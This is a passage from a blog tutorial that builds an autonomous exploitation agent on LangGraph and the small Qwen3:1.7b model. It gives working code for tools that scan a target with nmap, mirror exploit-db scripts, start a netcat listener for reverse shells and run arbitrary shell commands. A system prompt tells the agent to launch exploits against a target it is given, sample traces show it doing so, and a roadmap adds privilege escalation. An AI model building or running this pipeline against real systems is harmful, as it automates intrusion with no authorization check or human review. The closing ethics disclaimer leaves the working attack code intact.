        <span class="n">command</span> <span class="o">=</span> <span class="sa">f</span><span class="s">"nohup nc -lvp </span><span class="si">{</span><span class="n">port</span><span class="si">}</span><span class="s"> &gt; </span><span class="si">{</span><span class="n">log_file</span><span class="si">}</span><span class="s"> 2&gt;&amp;1 &amp;"</span>
        <span class="n">subprocess</span><span class="p">.</span><span class="n">run</span><span class="p">(</span><span class="n">command</span><span class="p">,</span> <span class="n">shell</span><span class="o">=</span><span class="bp">True</span><span class="p">,</span> <span class="n">check</span><span class="o">=</span><span class="bp">True</span><span class="p">)</span>
        <span class="k">return</span> <span class="sa">f</span><span class="s">"Listener started on port </span><span class="si">{</span><span class="n">port</span><span class="si">}</span><span class="s">. Output logged to </span><span class="si">{</span><span class="n">log_file</span><span class="si">}</span><span class="s">"</span>
    <span class="k">except</span> <span class="nb">Exception</span> <span class="k">as</span> <span class="n">e</span><span class="p">:</span>
        <span class="k">return</span> <span class="sa">f</span><span class="s">"Error starting listener: </span><span class="si">{</span><span class="nb">str</span><span class="p">(</span><span class="n">e</span><span class="p">)</span><span class="si">}</span><span class="s">"</span>
</code></pre></div></div>

<p><strong>Critical Insight</strong>: The agent needs to understand the difference between:</p>
<ul>
  <li><strong>Reverse Shell</strong>: Target connects back to attacker (needs listener)</li>
  <li><strong>Bind Shell</strong>: Target opens port (direct connection)</li>
</ul>

<h3 id="6-execute_shell_command---exploit-execution">6. <code class="language-plaintext highlighter-rouge">execute_shell_command</code> - Exploit Execution</h3>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="o">@</span><span class="n">tool</span>
<span class="k">def</span> <span class="nf">execute_shell_command</span><span class="p">(</span><span class="n">command</span><span class="p">:</span> <span class="nb">str</span><span class="p">)</span> <span class="o">-&gt;</span> <span class="nb">str</span><span class="p">:</span>
    <span class="s">"""
    Executes a shell command. Use this to run the mirrored exploit 
    or other necessary commands.
    WARNING: Use with caution.
    """</span>
    <span class="k">print</span><span class="p">(</span><span class="sa">f</span><span class="s">"[*] Executing command: </span><span class="si">{</span><span class="n">command</span><span class="si">}</span><span class="s">"</span><span class="p">)</span>
    <span class="k">try</span><span class="p">:</span>
        <span class="n">result</span> <span class="o">=</span> <span class="n">subprocess</span><span class="p">.</span><span class="n">run</span><span class="p">(</span>
            <span class="n">command</span><span class="p">,</span> 
            <span class="n">shell</span><span class="o">=</span><span class="bp">True</span><span class="p">,</span> 
            <span class="n">capture_output</span><span class="o">=</span><span class="bp">True</span><span class="p">,</span> 
            <span class="n">text</span><span class="o">=</span><span class="bp">True</span><span class="p">,</span> 
            <span class="n">timeout</span><span class="o">=</span><span class="mi">30</span>
        <span class="p">)</span>
        <span class="k">return</span> <span class="sa">f</span><span class="s">"STDOUT:</span><span class="se">\n</span><span class="si">{</span><span class="n">result</span><span class="p">.</span><span class="n">stdout</span><span class="si">}</span><span class="se">\n</span><span class="s">STDERR:</span><span class="se">\n</span><span class="si">{</span><span class="n">result</span><span class="p">.</span><span class="n">stderr</span><span class="si">}</span><span class="s">"</span>
    <span class="k">except</span> <span class="n">subprocess</span><span class="p">.</span><span class="n">TimeoutExpired</span><span class="p">:</span>
        <span class="k">return</span> <span class="s">"Command timed out."</span>
    <span class="k">except</span> <span class="nb">Exception</span> <span class="k">as</span> <span class="n">e</span><span class="p">:</span>
        <span class="k">return</span> <span class="sa">f</span><span class="s">"Error executing command: </span><span class="si">{</span><span class="nb">str</span><span class="p">(</span><span class="n">e</span><span class="p">)</span><span class="si">}</span><span class="s">"</span>
</code></pre></div></div>

<p><strong>Security Note</strong>: This is the most dangerous tool. In production, you’d want sandboxing and additional safety checks.</p>

<h3 id="7-verify_exploit_suitability---compatibility-check">7. <code class="language-plaintext highlighter-rouge">verify_exploit_suitability</code> - Compatibility Check</h3>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="o">@</span><span class="n">tool</span>
<span class="k">def</span> <span class="nf">verify_exploit_suitability</span><span class="p">(</span><span class="n">exploit_title</span><span class="p">:</span> <span class="nb">str</span><span class="p">,</span> <span class="n">service_version</span><span class="p">:</span> <span class="nb">str</span><span class="p">)</span> <span class="o">-&gt;</span> <span class="nb">str</span><span class="p">:</span>
    <span class="s">"""
    Analyzes if the exploit is suitable for the service version.
    """</span>
    <span class="k">return</span> <span class="sa">f</span><span class="s">"Checking if '</span><span class="si">{</span><span class="n">exploit_title</span><span class="si">}</span><span class="s">' is applicable to '</span><span class="si">{</span><span class="n">service_version</span><span class="si">}</span><span class="s">'..."</span>
</code></pre></div></div>

<h2 id="the-orchestrator-code">The Orchestrator Code</h2>

<p>Here’s the full implementation of the orchestrator with detailed comments:</p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kn">import</span> <span class="nn">asyncio</span>
<span class="kn">import</span> <span class="nn">subprocess</span>
<span class="kn">import</span> <span class="nn">json</span>
<span class="kn">import</span> <span class="nn">sys</span>
<span class="kn">import</span> <span class="nn">os</span>
<span class="kn">from</span> <span class="nn">typing</span> <span class="kn">import</span> <span class="n">List</span><span class="p">,</span> <span class="n">Dict</span><span class="p">,</span> <span class="n">Any</span>
<span class="kn">from</span> <span class="nn">langchain_core.tools</span> <span class="kn">import</span> <span class="n">tool</span>
<span class="kn">from</span> <span class="nn">langgraph.prebuilt</span> <span class="kn">import</span> <span class="n">create_react_agent</span>
<span class="kn">from</span> <span class="nn">langchain_ollama</span> <span class="kn">import</span> <span class="n">ChatOllama</span>
<span class="kn">from</span> <span class="nn">langchain_core.messages</span> <span class="kn">import</span> <span class="n">SystemMessage</span>

<span class="c1"># Initialize the LLM - Qwen3:1.7b is tiny but powerful
</span><span class="n">model</span> <span class="o">=</span> <span class="n">ChatOllama</span><span class="p">(</span><span class="n">model</span><span class="o">=</span><span class="s">"qwen3:1.7b"</span><span class="p">)</span>

<span class="c1"># [Tool definitions here - see above]
</span>
<span class="k">async</span> <span class="k">def</span> <span class="nf">main</span><span class="p">():</span>
    <span class="c1"># Register all tools with the agent
</span>    <span class="n">tools</span> <span class="o">=</span> <span class="p">[</span>
        <span class="n">scan_target</span><span class="p">,</span> 
        <span class="n">search_exploits</span><span class="p">,</span> 
        <span class="n">mirror_exploit</span><span class="p">,</span> 
        <span class="n">inspect_exploit_code</span><span class="p">,</span> 
        <span class="n">start_listener</span><span class="p">,</span> 
        <span class="n">execute_shell_command</span>
    <span class="p">]</span>
    
    <span class="c1"># System prompt - this is the brain of the operation
</span>    <span class="n">system_message</span> <span class="o">=</span> <span class="n">SystemMessage</span><span class="p">(</span><span class="n">content</span><span class="o">=</span><span class="s">"""You are a security automation assistant. 
    Your goal is to scan a target, find running services, search for relevant exploits 
    for those services, and then evaluate and potentially run the exploit.
    
    STRICTLY FOLLOW THIS ORDER:
    1. Scan the target using `scan_target`. WAIT for the results.
    2. ANALYZE the scan results to identify service names and versions.
    3. ONLY AFTER identifying services, use `search_exploits` for EACH specific service.
    4. EVALUATE: Compare the found exploits against the service version.
    5. If a promising exploit is found:
       a. Mirror it using `mirror_exploit` (use EDB-ID).
       b. INSPECT the FULL exploit script using `inspect_exploit_code`. 
          - READ the code to understand how it works.
          - DETERMINE if it is a **Reverse Shell** or a **Bind Shell**.
       c. IF it is a **Reverse Shell** (requires local listener):
          - Identify the port it connects back to (LPORT).
          - If hardcoded, use `start_listener` on that port.
          - If argument-based, pick a port (e.g., 4444), start listener, and pass it.
       d. Construct the execution command based on your inspection.
       e. Execute the exploit using `execute_shell_command`.
       f. Check the output.
    
    Do NOT call `search_exploits` until you have received the output from `scan_target`.
    """</span><span class="p">)</span>
    
    <span class="c1"># Create the ReAct agent
</span>    <span class="n">agent</span> <span class="o">=</span> <span class="n">create_react_agent</span><span class="p">(</span><span class="n">model</span><span class="p">,</span> <span class="n">tools</span><span class="p">,</span> <span class="n">prompt</span><span class="o">=</span><span class="n">system_message</span><span class="p">)</span>
    
    <span class="c1"># Get target from CLI or interactive input
</span>    <span class="k">if</span> <span class="nb">len</span><span class="p">(</span><span class="n">sys</span><span class="p">.</span><span class="n">argv</span><span class="p">)</span> <span class="o">&gt;</span> <span class="mi">1</span><span class="p">:</span>
        <span class="n">target_ip</span> <span class="o">=</span> <span class="n">sys</span><span class="p">.</span><span class="n">argv</span><span class="p">[</span><span class="mi">1</span><span class="p">]</span>
        <span class="n">target_ports</span> <span class="o">=</span> <span class="n">sys</span><span class="p">.</span><span class="n">argv</span><span class="p">[</span><span class="mi">2</span><span class="p">]</span> <span class="k">if</span> <span class="nb">len</span><span class="p">(</span><span class="n">sys</span><span class="p">.</span><span class="n">argv</span><span class="p">)</span> <span class="o">&gt;</span> <span class="mi">2</span> <span class="k">else</span> <span class="bp">None</span>
    <span class="k">else</span><span class="p">:</span>
        <span class="k">print</span><span class="p">(</span><span class="s">"Welcome to GenAI Exploit System"</span><span class="p">)</span>
        <span class="n">target_ip</span> <span class="o">=</span> <span class="nb">input</span><span class="p">(</span><span class="s">"Enter target IP/Hostname (or 'quit' to exit): "</span><span class="p">)</span>
        <span class="k">if</span> <span class="n">target_ip</span><span class="p">.</span><span class="n">lower</span><span class="p">()</span> <span class="ow">not</span> <span class="ow">in</span> <span class="p">[</span><span class="s">"quit"</span><span class="p">,</span> <span class="s">"exit"</span><span class="p">]:</span>
            <span class="n">target_ports</span> <span class="o">=</span> <span class="nb">input</span><span class="p">(</span><span class="s">"Enter ports to scan (optional): "</span><span class="p">).</span><span class="n">strip</span><span class="p">()</span>
            <span class="k">if</span> <span class="ow">not</span> <span class="n">target_ports</span><span class="p">:</span>
                <span class="n">target_ports</span> <span class="o">=</span> <span class="bp">None</span>
    
    <span class="k">if</span> <span class="n">target_ip</span><span class="p">.</span><span class="n">lower</span><span class="p">()</span> <span class="ow">in</span> <span class="p">[</span><span class="s">"quit"</span><span class="p">,</span> <span class="s">"exit"</span><span class="p">]:</span>
        <span class="k">return</span>
    
    <span class="c1"># Construct the input message
</span>    <span class="n">input_message</span> <span class="o">=</span> <span class="sa">f</span><span class="s">"Scan </span><span class="si">{</span><span class="n">target_ip</span><span class="si">}</span><span class="s">"</span>
    <span class="k">if</span> <span class="n">target_ports</span><span class="p">:</span>
        <span class="n">input_message</span> <span class="o">+=</span> <span class="sa">f</span><span class="s">" on ports </span><span class="si">{</span><span class="n">target_ports</span><span class="si">}</span><span class="s">"</span>
    <span class="n">input_message</span> <span class="o">+=</span> <span class="s">" and find and attempt to verify exploits."</span>
    
    <span class="k">print</span><span class="p">(</span><span class="sa">f</span><span class="s">"</span><span class="se">\n</span><span class="s">Processing: </span><span class="si">{</span><span class="n">input_message</span><span class="si">}</span><span class="se">\n</span><span class="s">"</span><span class="p">)</span>
    
    <span class="c1"># Run the agent asynchronously with streaming
</span>    <span class="k">async</span> <span class="k">for</span> <span class="n">chunk</span> <span class="ow">in</span> <span class="n">agent</span><span class="p">.</span><span class="n">astream</span><span class="p">(</span>
        <span class="p">{</span><span class="s">"messages"</span><span class="p">:</span> <span class="p">[(</span><span class="s">"user"</span><span class="p">,</span> <span class="n">input_message</span><span class="p">)]},</span> 
        <span class="n">stream_mode</span><span class="o">=</span><span class="s">"values"</span>
    <span class="p">):</span>
        <span class="n">message</span> <span class="o">=</span> <span class="n">chunk</span><span class="p">[</span><span class="s">"messages"</span><span class="p">][</span><span class="o">-</span><span class="mi">1</span><span class="p">]</span>
        <span class="n">message</span><span class="p">.</span><span class="n">pretty_print</span><span class="p">()</span>

<span class="k">if</span> <span class="n">__name__</span> <span class="o">==</span> <span class="s">"__main__"</span><span class="p">:</span>
    <span class="n">asyncio</span><span class="p">.</span><span class="n">run</span><span class="p">(</span><span class="n">main</span><span class="p">())</span>
</code></pre></div></div>

<h2 id="how-it-works-step-by-step">How It Works: Step-by-Step</h2>

<p>Let me walk you through a complete execution cycle:</p>

<h3 id="phase-1-initial-reconnaissance">Phase 1: Initial Reconnaissance</h3>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>User Input: "192.168.1.100"

Agent Thought: "I need to scan this target first to see what's running"
Agent Action: scan_target("192.168.1.100")
</code></pre></div></div>

<p>The agent receives nmap output:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>PORT    STATE SERVICE VERSION
22/tcp  open  ssh     OpenSSH 7.4 (protocol 2.0)
80/tcp  open  http    Apache httpd 2.4.6
3306/tcp open mysql   MySQL 5.5.62
</code></pre></div></div>

<h3 id="phase-2-vulnerability-analysis">Phase 2: Vulnerability Analysis</h3>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Agent Thought: "I found 3 services. Let me search exploits for each."
Agent Action: search_exploits("OpenSSH 7.4")

Observation: [Exploit list received]

Agent Action: search_exploits("Apache 2.4.6")

Observation: [More exploits found]

Agent Action: search_exploits("MySQL 5.5.62")

Observation: [MySQL exploits located]
</code></pre></div></div>

<h3 id="phase-3-exploit-evaluation">Phase 3: Exploit Evaluation</h3>

<p>The agent analyzes each exploit:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Agent Thought: "I found CVE-2021-XXXX for Apache 2.4.6. 
               Let me check if the version matches."

Agent Action: verify_exploit_suitability(
    "Apache 2.4.6 RCE", 
    "Apache httpd 2.4.6"
)

Agent Thought: "Version match confirmed. Let me download this exploit."
</code></pre></div></div>

<h3 id="phase-4-code-inspection">Phase 4: Code Inspection</h3>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Agent Action: mirror_exploit("12345")
Observation: "Exploit downloaded to 12345.py"

Agent Action: inspect_exploit_code("12345.py")
Observation: [Full Python code returned]

Agent Thought: "After analyzing the code, I see this is a reverse shell 
               that needs LHOST and LPORT arguments. It will connect 
               back to me on port 4444."
</code></pre></div></div>

<h3 id="phase-5-preparation-and-execution">Phase 5: Preparation and Execution</h3>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Agent Action: start_listener(4444)
Observation: "Listener started on port 4444"

Agent Thought: "Listener is ready. Now I'll execute the exploit with 
               proper arguments."

Agent Action: execute_shell_command(
    "python3 12345.py 192.168.1.100 LHOST=192.168.1.50 LPORT=4444"
)
</code></pre></div></div>

<h3 id="phase-6-result-analysis">Phase 6: Result Analysis</h3>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Observation: "Exploit executed. Check listener log."

Agent Thought: "The exploit has been executed. Based on the output, 
               the connection attempt was made. The user should check 
               listener_4444.log for the shell."
</code></pre></div></div>

<h2 id="why-qwen317b">Why Qwen3:1.7b?</h2>

<p>You might be thinking: “Can such a small model really handle this complexity?”</p>

<p><strong>Short answer: Yes, surprisingly well.</strong></p>

<p>Here’s why Qwen3:1.7b works for this use case:</p>

<h3 id="1-tool-augmented-intelligence">1. Tool-Augmented Intelligence</h3>

<p>The model doesn’t need to “know” how to hack—it just needs to:</p>
<ul>
  <li>Parse structured output (nmap, searchsploit JSON)</li>
  <li>Follow sequential instructions</li>
  <li>Reason about dependencies (“I need scan results before searching”)</li>
  <li>Read and understand basic code patterns</li>
</ul>

<h3 id="2-constrained-problem-space">2. Constrained Problem Space</h3>

<p>Unlike general chat, we’re operating in a <strong>well-defined domain</strong>:</p>
<ul>
  <li>Limited set of tools</li>
  <li>Clear workflow (scan → search → mirror → inspect → execute)</li>
  <li>Structured data formats</li>
  <li>Explicit system prompt</li>
</ul>

<h3 id="3-efficiency-metrics">3. Efficiency Metrics</h3>

<table>
  <thead>
    <tr>
      <th>Model</th>
      <th>Size</th>
      <th>Speed</th>
      <th>Cost</th>
      <th>Suitable?</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>GPT-4</td>
      <td>?</td>
      <td>Slow</td>
      <td>$$$</td>
      <td>✅ Overkill</td>
    </tr>
    <tr>
      <td>GPT-3.5</td>
      <td>?</td>
      <td>Medium</td>
      <td>$$</td>
      <td>✅ Works</td>
    </tr>
    <tr>
      <td>Llama2-7b</td>
      <td>~4GB</td>
      <td>Medium</td>
      <td>Free</td>
      <td>✅ Works</td>
    </tr>
    <tr>
      <td>Qwen3:1.7b</td>
      <td>~1GB</td>
      <td>Fast</td>
      <td>Free</td>
      <td>✅ <strong>Perfect</strong></td>
    </tr>
    <tr>
      <td>Qwen2.5-0.5b</td>
      <td>~500MB</td>
      <td>Very Fast</td>
      <td>Free</td>
      <td>❌ Too small</td>
    </tr>
  </tbody>
</table>

<h3 id="4-real-performance">4. Real Performance</h3>

<p>In my testing, Qwen3:1.7b:</p>
<ul>
  <li>✅ Successfully chains 5+ tool calls</li>
  <li>✅ Parses nmap output accurately</li>
  <li>✅ Identifies service versions</li>
  <li>✅ Reads and understands Python exploit code</li>
  <li>✅ Distinguishes reverse vs bind shells</li>
  <li>❌ Sometimes needs retries for complex exploits</li>
  <li>❌ May struggle with ambiguous service names</li>
</ul>

<h2 id="the-secret-sauce-system-prompting">The Secret Sauce: System Prompting</h2>

<p>The system prompt is <strong>everything</strong>. Here’s why mine works:</p>

<h3 id="1-explicit-sequencing">1. Explicit Sequencing</h3>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>STRICTLY FOLLOW THIS ORDER:
1. Scan the target using `scan_target`. WAIT for the results.
2. ANALYZE the scan results...
</code></pre></div></div>

<p>Small models need <strong>hand-holding</strong>. No implicit steps.</p>

<h3 id="2-conditional-logic">2. Conditional Logic</h3>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>c. IF it is a **Reverse Shell** (requires local listener):
   - Identify the port it connects back to (LPORT).
   - If hardcoded, use `start_listener` on that port.
</code></pre></div></div>

<p>I explicitly teach the agent <strong>decision trees</strong>.</p>

<h3 id="3-capitalized-keywords">3. Capitalized Keywords</h3>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>**WAIT**, **ANALYZE**, **ONLY AFTER**, **DETERMINE**
</code></pre></div></div>

<p>Emphasis helps small models focus on critical instructions.</p>

<h3 id="4-failure-prevention">4. Failure Prevention</h3>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Do NOT call `search_exploits` until you have received 
the output from `scan_target`.
</code></pre></div></div>

<p>Anticipate common mistakes and preemptively prevent them.</p>

<h2 id="challenges-and-solutions">Challenges and Solutions</h2>

<p>Building this wasn’t smooth sailing. Here are the biggest challenges:</p>

<h3 id="challenge-1-tool-call-ordering">Challenge 1: Tool Call Ordering</h3>

<p><strong>Problem</strong>: Early versions would try to mirror exploits before searching for them.</p>

<p><strong>Solution</strong>:</p>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1"># Added explicit sequencing in system prompt
# Used "WAIT for results" language
# Added "ONLY AFTER" conditionals
</span></code></pre></div></div>

<h3 id="challenge-2-json-parsing-errors">Challenge 2: JSON Parsing Errors</h3>

<p><strong>Problem</strong>: Searchsploit JSON sometimes has edge cases.</p>

<p><strong>Solution</strong>:</p>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">try</span><span class="p">:</span>
    <span class="n">data</span> <span class="o">=</span> <span class="n">json</span><span class="p">.</span><span class="n">loads</span><span class="p">(</span><span class="n">result</span><span class="p">.</span><span class="n">stdout</span><span class="p">)</span>
<span class="k">except</span> <span class="n">json</span><span class="p">.</span><span class="n">JSONDecodeError</span><span class="p">:</span>
    <span class="k">return</span> <span class="sa">f</span><span class="s">"Could not parse JSON. Raw output: </span><span class="si">{</span><span class="n">result</span><span class="p">.</span><span class="n">stdout</span><span class="p">[</span><span class="si">:</span><span class="mi">500</span><span class="p">]</span><span class="si">}</span><span class="s">"</span>
</code></pre></div></div>

<p>Always handle malformed output gracefully.</p>

<h3 id="challenge-3-reverse-vs-bind-shell-detection">Challenge 3: Reverse vs Bind Shell Detection</h3>

<p><strong>Problem</strong>: Agent struggled to determine if listener needed.</p>

<p><strong>Solution</strong>:</p>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1"># Enhanced system prompt with explicit instructions
# Added inspect_exploit_code tool for code analysis
# Taught agent to look for LHOST/LPORT patterns
</span></code></pre></div></div>

<h3 id="challenge-4-background-listener-management">Challenge 4: Background Listener Management</h3>

<p><strong>Problem</strong>: Netcat listeners blocking the main process.</p>

<p><strong>Solution</strong>:</p>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">command</span> <span class="o">=</span> <span class="sa">f</span><span class="s">"nohup nc -lvp </span><span class="si">{</span><span class="n">port</span><span class="si">}</span><span class="s"> &gt; </span><span class="si">{</span><span class="n">log_file</span><span class="si">}</span><span class="s"> 2&gt;&amp;1 &amp;"</span>
<span class="c1"># nohup = no hangup, &amp; = background
</span></code></pre></div></div>

<h3 id="challenge-5-model-context-length">Challenge 5: Model Context Length</h3>

<p><strong>Problem</strong>: Full exploit code can be 500+ lines.</p>

<p><strong>Solution</strong>:</p>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1"># Qwen3 has 32k context window - plenty of room
# Filter exploits to show only top 5
# Use streaming to process results incrementally
</span></code></pre></div></div>

<h2 id="future-improvements">Future Improvements</h2>

<p>This is just v1.0. Here’s my roadmap:</p>

<h3 id="1-multi-exploit-orchestration">1. Multi-Exploit Orchestration</h3>

<p>Currently handles one exploit at a time. Future version:</p>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="o">@</span><span class="n">tool</span>
<span class="k">def</span> <span class="nf">run_parallel_exploits</span><span class="p">(</span><span class="n">exploit_list</span><span class="p">:</span> <span class="n">List</span><span class="p">[</span><span class="nb">str</span><span class="p">])</span> <span class="o">-&gt;</span> <span class="nb">str</span><span class="p">:</span>
    <span class="s">"""Execute multiple exploits concurrently"""</span>
    <span class="c1"># Multi-threading exploit execution
</span></code></pre></div></div>

<h3 id="2-privilege-escalation-module">2. Privilege Escalation Module</h3>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="o">@</span><span class="n">tool</span>
<span class="k">def</span> <span class="nf">escalate_privileges</span><span class="p">()</span> <span class="o">-&gt;</span> <span class="nb">str</span><span class="p">:</span>
    <span class="s">"""
    After gaining initial access, automatically:
    - Check current user
    - Enumerate SUID binaries
    - Check sudo rights
    - Search for priv esc exploits
    """</span>
</code></pre></div></div>

<h3 id="3-exploit-success-detection">3. Exploit Success Detection</h3>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="o">@</span><span class="n">tool</span>
<span class="k">def</span> <span class="nf">check_listener_output</span><span class="p">(</span><span class="n">port</span><span class="p">:</span> <span class="nb">int</span><span class="p">)</span> <span class="o">-&gt;</span> <span class="nb">str</span><span class="p">:</span>
    <span class="s">"""
    Parse listener log to determine if shell was caught
    """</span>
    <span class="k">with</span> <span class="nb">open</span><span class="p">(</span><span class="sa">f</span><span class="s">"listener_</span><span class="si">{</span><span class="n">port</span><span class="si">}</span><span class="s">.log"</span><span class="p">)</span> <span class="k">as</span> <span class="n">f</span><span class="p">:</span>
        <span class="n">output</span> <span class="o">=</span> <span class="n">f</span><span class="p">.</span><span class="n">read</span><span class="p">()</span>
        <span class="k">if</span> <span class="s">"uid="</span> <span class="ow">in</span> <span class="n">output</span> <span class="ow">or</span> <span class="s">"whoami"</span> <span class="ow">in</span> <span class="n">output</span><span class="p">:</span>
            <span class="k">return</span> <span class="s">"SUCCESS: Shell received"</span>
        <span class="k">return</span> <span class="s">"PENDING: No shell yet"</span>
</code></pre></div></div>

<h3 id="4-exploit-database-training">4. Exploit Database Training</h3>

<p>Fine-tune the model on exploit-db descriptions:</p>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c"># Create training set from searchsploit --json output</span>
<span class="c"># Fine-tune Qwen3 on exploit categorization</span>
<span class="c"># Result: Better exploit selection accuracy</span>
</code></pre></div></div>

<h3 id="5-memorystate-persistence">5. Memory/State Persistence</h3>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kn">from</span> <span class="nn">langgraph.checkpoint</span> <span class="kn">import</span> <span class="n">MemorySaver</span>

<span class="c1"># Add checkpointing for long-running operations
</span><span class="n">checkpointer</span> <span class="o">=</span> <span class="n">MemorySaver</span><span class="p">()</span>
<span class="n">agent</span> <span class="o">=</span> <span class="n">create_react_agent</span><span class="p">(</span>
    <span class="n">model</span><span class="p">,</span> 
    <span class="n">tools</span><span class="p">,</span> 
    <span class="n">checkpointer</span><span class="o">=</span><span class="n">checkpointer</span>
<span class="p">)</span>
</code></pre></div></div>

<h3 id="7-cve-database-integration">7. CVE Database Integration</h3>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="o">@</span><span class="n">tool</span>
<span class="k">def</span> <span class="nf">check_cve_database</span><span class="p">(</span><span class="n">service</span><span class="p">:</span> <span class="nb">str</span><span class="p">,</span> <span class="n">version</span><span class="p">:</span> <span class="nb">str</span><span class="p">)</span> <span class="o">-&gt;</span> <span class="nb">str</span><span class="p">:</span>
    <span class="s">"""
    Query NIST NVD or CVE.org for known vulnerabilities
    """</span>
    <span class="c1"># API integration with CVE databases
</span></code></pre></div></div>

<h2 id="installation-and-setup">Installation and Setup</h2>

<p>Want to run this yourself? Here’s how:</p>

<h3 id="prerequisites">Prerequisites</h3>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c"># System tools</span>
<span class="nb">sudo </span>apt <span class="nb">install </span>nmap exploitdb netcat

<span class="c"># Update searchsploit database</span>
<span class="nb">sudo </span>searchsploit <span class="nt">-u</span>
</code></pre></div></div>

<h3 id="python-dependencies">Python Dependencies</h3>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c"># Create virtual environment</span>
python3 <span class="nt">-m</span> venv venv
<span class="nb">source </span>venv/bin/activate

<span class="c"># Install packages</span>
pip <span class="nb">install </span>langchain-core langgraph langchain-ollama
</code></pre></div></div>

<h3 id="ollama-setup">Ollama Setup</h3>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c"># Install Ollama</span>
curl <span class="nt">-fsSL</span> https://ollama.com/install.sh | sh

<span class="c"># Pull the model</span>
ollama pull qwen3:1.7b

<span class="c"># Verify it's running</span>
ollama list
</code></pre></div></div>

<h3 id="running-the-exploit-system">Running the Exploit System</h3>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c"># Interactive mode</span>
python genai_exploiter.py

<span class="c"># CLI mode</span>
python genai_exploiter.py 192.168.1.100

<span class="c"># With specific ports</span>
python genai_exploiter.py 192.168.1.100 22,80,443
</code></pre></div></div>

<h3 id="expected-output">Expected Output</h3>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Welcome to GenAI Exploit System
Enter target IP/Hostname: 192.168.1.100

Processing: Scan 192.168.1.100 and find and attempt to verify exploits.

[*] Scanning target: 192.168.1.100 (Ports: default)
[Agent] Thought: I need to first scan the target to identify services
[Agent] Action: scan_target
[Agent] Observation: Port 22 open - OpenSSH 7.4...
[*] Searching exploits for: OpenSSH 7.4
[Agent] Thought: Found potential exploits, analyzing...
[*] Mirroring exploit ID: 45233
[*] Reading exploit code: 45233.py
[Agent] Thought: This is a reverse shell requiring LHOST/LPORT...
[*] Starting background listener on port 4444
[*] Executing command: python3 45233.py...
</code></pre></div></div>

<h2 id="security-considerations">Security Considerations</h2>

<h3 id="ethical-usage">Ethical Usage</h3>

<p>This tool is <strong>powerful and dangerous</strong>. Use it responsibly:</p>

<p>✅ <strong>DO</strong>:</p>
<ul>
  <li>Use on systems you own</li>
  <li>Use in authorized penetration tests</li>
  <li>Use in isolated lab environments (like HackTheBox, TryHackMe)</li>
  <li>Keep logs of all activities</li>
</ul>

<p>❌ <strong>DON’T</strong>:</p>
<ul>
  <li>Use on systems without authorization</li>
  <li>Use on production networks without approval</li>
  <li>Distribute maliciously</li>
  <li>Skip the manual review of exploits</li>
</ul>

<h2 id="conclusion-the-future-is-open-source">Conclusion: The Future is Open-Source</h2>

<p>We’ve built a <strong>fully autonomous exploitation framework</strong> powered by a model so small it fits on a USB drive. This proves that AI-assisted cybersecurity doesn’t require deep pockets, expensive APIs or cloud dependencies.</p>

<h3 id="key-takeaways">Key Takeaways</h3>

<ol>
  <li><strong>Small models can be surprisingly capable</strong> when properly tool-augmented</li>
  <li><strong>Open-source AI is production-ready</strong> for specialized domains</li>
  <li><strong>ReAct agents</strong> provide a powerful framework for autonomous workflows</li>
  <li><strong>Local execution</strong> preserves privacy and reduces costs to zero</li>
  <li><strong>System prompting is an art</strong> that makes or breaks agent performance</li>
</ol>

<h3 id="the-bigger-picture">The Bigger Picture</h3>

<p>This is just the beginning. Imagine:</p>
<ul>
  <li><strong>Auto-exploit frameworks</strong> that adapt to new CVEs automatically</li>
  <li><strong>Red team agents</strong> that think creatively like human hackers</li>
  <li><strong>Blue team agents</strong> that detect and respond to intrusions in real-time</li>
  <li><strong>All running locally, all open-source, all free</strong></li>
</ul>

<p>The democratization of AI-powered security tools is here. The question is: what will you build with it?</p>

<h2 id="resources-and-links">Resources and Links</h2>

<ul>
  <li><strong>Complete Code</strong>: <a href="https://github.com/MohitDabas">GitHub Repository</a> <em>(Coming Soon)</em></li>
  <li><strong>Ollama</strong>: <a href="https://ollama.com">https://ollama.com</a></li>
  <li><strong>LangChain</strong>: <a href="https://langchain.com">https://langchain.com</a></li>
  <li><strong>LangGraph</strong>: <a href="https://langchain-ai.github.io/langgraph/">https://langchain-ai.github.io/langgraph/</a></li>
  <li><strong>Qwen Models</strong>: <a href="https://huggingface.co/Qwen">https://huggingface.co/Qwen</a></li>
